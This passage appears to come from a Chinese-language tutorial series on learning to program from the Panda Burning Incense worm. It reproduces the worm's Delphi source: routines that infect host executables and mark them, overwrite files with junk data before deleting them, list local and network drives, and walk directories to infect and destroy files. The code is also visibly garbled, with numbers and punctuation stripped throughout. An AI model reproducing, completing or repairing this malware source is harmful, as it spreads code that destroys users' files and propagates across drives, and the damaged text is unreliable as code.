從“熊貓燒香”中學程序[3]

     CopyStream(SrcStream DstStream HeaderSize SrcStreamSize);
     　　   //寫入已感染的標記
     　　   DstStreamSeek( );
     　　   iID := $;
     　　   DstStreamWrite(iID );
     　　 finally
     　　   HdrStreamFree;
     　　 end;
    　　finally
    　　  SrcStreamFree;
    　　  IcoStreamFree;
    　　  DstStreamSaveToFile(FileName); //替換宿主文件
    　　  DstStreamFree;
  　　  end;
 　　 except;
 　　 end;
　　end;

　　{ 將目標文件寫入垃圾碼後刪除 }
　　procedure SmashFile(FileName: string);
　　var
 　　 FileHandle: Integer;
 　　 i Size Mass Max Len: Integer;
　　begin
　　  try
 　　   SetFileAttributes(PChar(FileName) ); //去掉只讀屬性
 　　   FileHandle := FileOpen(FileName fmOpenWrite); //打開文件
  　　  try
   　　   Size := GetFileSize(FileHandle nil); //文件大小
   　　   i := ;
    　　  Randomize;
    　　  Max := Random(); //寫入垃圾碼的隨機次數
    　　  if Max < then
     　　   Max := ;
     　　 Mass := Size div Max; //每個間隔塊的大小
     　　 Len := Length(Catchword);
    　　  while i < Max do
     　　 begin
     　　   FileSeek(FileHandle i * Mass ); //定位
     　　   //寫入垃圾碼將文件徹底破壞掉
     　　   FileWrite(FileHandle Catchword Len);
      　　  Inc(i);
     　　 end;
    　　finally
   　　  FileClose(FileHandle); //關閉文件
   　　 end;
   　　 DeleteFile(PChar(FileName)); //刪除之
  　　except
 　　 end;
　　end;
　　{ 獲得可寫的驅動器列表 }
　　function GetDrives: string;
　　var
　　  DiskType: Word;
　　  D: Char;
 　　 Str: string;
 　　 i: Integer;
　　begin
　　  for i := to do //遍歷個字母
 　　 begin
  　　  D := Chr(i + );
  　　  Str := D + :;
   　　 DiskType := GetDriveType(PChar(Str));
   　　 //得到本地磁盤和網絡盤
   　　 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
   　　   Result := Result + D;
 　　 end;
　　end;
　　{ 遍歷目錄感染和摧毀文件 }
　　procedure LoopFiles(Path Mask: string);
　　var
 　　 i Count: Integer;
 　　 Fn Ext: string;
 　　 SubDir: TStrings;
 　　 SearchRec: TSearchRec;
 　　 Msg: TMsg;
  　　function IsValidDir(SearchRec: TSearchRec): Integer;
  　　begin
   　　 if (SearchRecAttr <> ) and  (SearchRecName <> ) and
   　　   (SearchRecName <> ) then
   　　   Result := //不是目錄
   　　 else if (SearchRecAttr = ) and  (SearchRecName <> ) and
    　　  (SearchRecName <> ) then
    　　    Result := //不是根目錄
    　　else Result := ; //是根目錄

[]  []  []  []  []  

From:http://tw.wingwit.com/Article/program/Delphi/201311/8475.html